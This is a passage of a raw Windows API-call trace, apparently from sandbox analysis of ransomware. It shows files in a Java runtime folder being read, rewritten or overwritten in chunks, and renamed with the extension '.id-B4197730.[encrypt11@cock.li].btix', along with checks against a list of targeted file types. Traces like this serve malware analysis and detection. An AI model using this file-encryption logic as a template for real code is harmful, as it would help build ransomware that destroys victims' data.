Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.431] lstrlenW (lpString=".1cd") returned 4 [0155.431] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.431] lstrlenW (lpString=".jpg") returned 4 [0155.431] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.431] lstrlenW (lpString=".doc") returned 4 [0155.431] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.431] lstrlenW (lpString=".docx") returned 5 [0155.431] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0155.431] lstrlenW (lpString=".pdf") returned 4 [0155.431] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.431] lstrlenW (lpString=".xls") returned 4 [0155.431] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.431] lstrlenW (lpString=".xlsx") returned 5 [0155.431] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0155.431] lstrlenW (lpString=".ppt") returned 4 [0155.431] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.431] lstrlenW (lpString=".zip") returned 4 [0155.431] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.432] lstrlenW (lpString=".rar") returned 4 [0155.432] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.432] lstrlenW (lpString=".bz2") returned 4 [0155.432] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.432] lstrlenW (lpString=".7z") returned 3 [0155.432] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.432] lstrlenW (lpString=".dbf") returned 4 [0155.432] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.432] lstrlenW (lpString=".1cd") returned 4 [0155.432] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.432] lstrlenW (lpString=".jpg") returned 4 [0155.432] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.432] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".btix") returned -1 [0155.432] lstrlenW (lpString="meta-index") returned 10 [0155.432] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.432] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=2126) returned 1 [0155.432] CloseHandle (hObject=0x38c) returned 1 [0155.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0155.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.433] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.433] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0155.433] GetLastError () returned 0x0 [0155.433] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x84e, lpOverlapped=0x0) returned 1 [0155.434] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x850, lpOverlapped=0x0) returned 1 [0155.435] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.435] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0155.435] SetEndOfFile (hFile=0x358) returned 1 [0155.435] CloseHandle (hObject=0x358) returned 1 [0155.435] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.435] SetEndOfFile (hFile=0x38c) returned 1 [0155.436] CloseHandle (hObject=0x38c) returned 1 [0155.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.436] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0155.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.436] lstrlenW (lpString=".doc") returned 4 [0155.436] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0155.436] lstrlenW (lpString=".docx") returned 5 [0155.436] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0155.436] lstrlenW (lpString=".pdf") returned 4 [0155.436] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0155.436] lstrlenW (lpString=".xls") returned 4 [0155.436] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0155.436] lstrlenW (lpString=".xlsx") returned 5 [0155.436] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0155.436] lstrlenW (lpString=".ppt") returned 4 [0155.437] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0155.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.437] lstrlenW (lpString=".zip") returned 4 [0155.437] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0155.437] lstrlenW (lpString=".rar") returned 4 [0155.437] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0155.437] lstrlenW (lpString=".bz2") returned 4 [0155.437] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0155.437] lstrlenW (lpString=".7z") returned 3 [0155.437] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0155.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.437] lstrlenW (lpString=".dbf") returned 4 [0155.437] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0155.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.437] lstrlenW (lpString=".1cd") returned 4 [0155.437] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0155.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.437] lstrlenW (lpString=".jpg") returned 4 [0155.437] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0155.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.437] lstrlenW (lpString=".doc") returned 4 [0155.437] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0155.437] lstrlenW (lpString=".docx") returned 5 [0155.437] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0155.437] lstrlenW (lpString=".pdf") returned 4 [0155.437] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0155.438] lstrlenW (lpString=".xls") returned 4 [0155.438] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0155.438] lstrlenW (lpString=".xlsx") returned 5 [0155.438] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0155.438] lstrlenW (lpString=".ppt") returned 4 [0155.438] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0155.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.438] lstrlenW (lpString=".zip") returned 4 [0155.438] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0155.438] lstrlenW (lpString=".rar") returned 4 [0155.438] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0155.438] lstrlenW (lpString=".bz2") returned 4 [0155.438] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0155.438] lstrlenW (lpString=".7z") returned 3 [0155.438] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0155.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.438] lstrlenW (lpString=".dbf") returned 4 [0155.438] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0155.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.438] lstrlenW (lpString=".1cd") returned 4 [0155.438] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0155.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0155.438] lstrlenW (lpString=".jpg") returned 4 [0155.438] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0155.438] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0155.438] lstrlenW (lpString="net.properties") returned 14 [0155.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.439] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=4464) returned 1 [0155.439] CloseHandle (hObject=0x38c) returned 1 [0155.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0155.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.439] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.439] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0155.439] GetLastError () returned 0x0 [0155.439] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x1170, lpOverlapped=0x0) returned 1 [0155.440] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x1180, lpOverlapped=0x0) returned 1 [0155.441] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.441] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf0, lpOverlapped=0x0) returned 1 [0155.441] SetEndOfFile (hFile=0x358) returned 1 [0155.441] CloseHandle (hObject=0x358) returned 1 [0155.441] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.441] SetEndOfFile (hFile=0x38c) returned 1 [0155.442] CloseHandle (hObject=0x38c) returned 1 [0155.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.442] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0155.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.443] lstrlenW (lpString=".doc") returned 4 [0155.443] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.443] lstrlenW (lpString=".docx") returned 5 [0155.443] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.443] lstrlenW (lpString=".pdf") returned 4 [0155.443] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.443] lstrlenW (lpString=".xls") returned 4 [0155.443] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.443] lstrlenW (lpString=".xlsx") returned 5 [0155.443] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.443] lstrlenW (lpString=".ppt") returned 4 [0155.443] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.443] lstrlenW (lpString=".zip") returned 4 [0155.443] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.443] lstrlenW (lpString=".rar") returned 4 [0155.443] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.443] lstrlenW (lpString=".bz2") returned 4 [0155.443] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.443] lstrlenW (lpString=".7z") returned 3 [0155.443] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.443] lstrlenW (lpString=".dbf") returned 4 [0155.443] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.443] lstrlenW (lpString=".1cd") returned 4 [0155.443] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.444] lstrlenW (lpString=".jpg") returned 4 [0155.444] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.444] lstrlenW (lpString=".doc") returned 4 [0155.444] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString=".docx") returned 5 [0155.444] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.444] lstrlenW (lpString=".pdf") returned 4 [0155.444] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString=".xls") returned 4 [0155.444] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString=".xlsx") returned 5 [0155.444] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.444] lstrlenW (lpString=".ppt") returned 4 [0155.444] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.444] lstrlenW (lpString=".zip") returned 4 [0155.444] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString=".rar") returned 4 [0155.444] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString=".bz2") returned 4 [0155.444] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString=".7z") returned 3 [0155.444] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.444] lstrlenW (lpString=".dbf") returned 4 [0155.444] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.444] lstrlenW (lpString=".1cd") returned 4 [0155.444] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0155.445] lstrlenW (lpString=".jpg") returned 4 [0155.445] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.445] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0155.445] lstrlenW (lpString="plugin.jar") returned 10 [0155.445] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.445] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=1923211) returned 1 [0155.445] CloseHandle (hObject=0x38c) returned 1 [0155.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0155.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0155.446] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.446] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0x0) returned 1 [0155.446] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0155.446] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e35058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0155.510] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x9c82e, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0155.511] ReadFile (in: hFile=0x38c, lpBuffer=0x3e75058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e75058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0155.519] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0155.519] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x19588b, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0155.519] ReadFile (in: hFile=0x38c, lpBuffer=0x3eb5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3eb5058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0155.550] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.550] WriteFile (in: hFile=0x38c, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x33dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfca8*=0xc0100, lpOverlapped=0x0) returned 1 [0155.954] SetEndOfFile (hFile=0x38c) returned 1 [0155.954] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x424ddb0 [0155.957] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0155.957] WriteFile (in: hFile=0x38c, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0155.958] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x9c82e, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0155.958] WriteFile (in: hFile=0x38c, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0155.960] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x19588b, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0155.960] WriteFile (in: hFile=0x38c, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0155.962] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0155.963] CloseHandle (hObject=0x38c) returned 1 [0155.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.963] lstrlenW (lpString=".doc") returned 4 [0155.963] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.964] lstrlenW (lpString=".docx") returned 5 [0155.964] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0155.964] lstrlenW (lpString=".pdf") returned 4 [0155.964] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.964] lstrlenW (lpString=".xls") returned 4 [0155.964] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.964] lstrlenW (lpString=".xlsx") returned 5 [0155.964] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0155.964] lstrlenW (lpString=".ppt") returned 4 [0155.964] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.964] lstrlenW (lpString=".zip") returned 4 [0155.964] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.964] lstrlenW (lpString=".rar") returned 4 [0155.964] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.964] lstrlenW (lpString=".bz2") returned 4 [0155.964] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.964] lstrlenW (lpString=".7z") returned 3 [0155.964] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.964] lstrlenW (lpString=".dbf") returned 4 [0155.964] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.964] lstrlenW (lpString=".1cd") returned 4 [0155.964] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.964] lstrlenW (lpString=".jpg") returned 4 [0155.964] lstrcmpiW 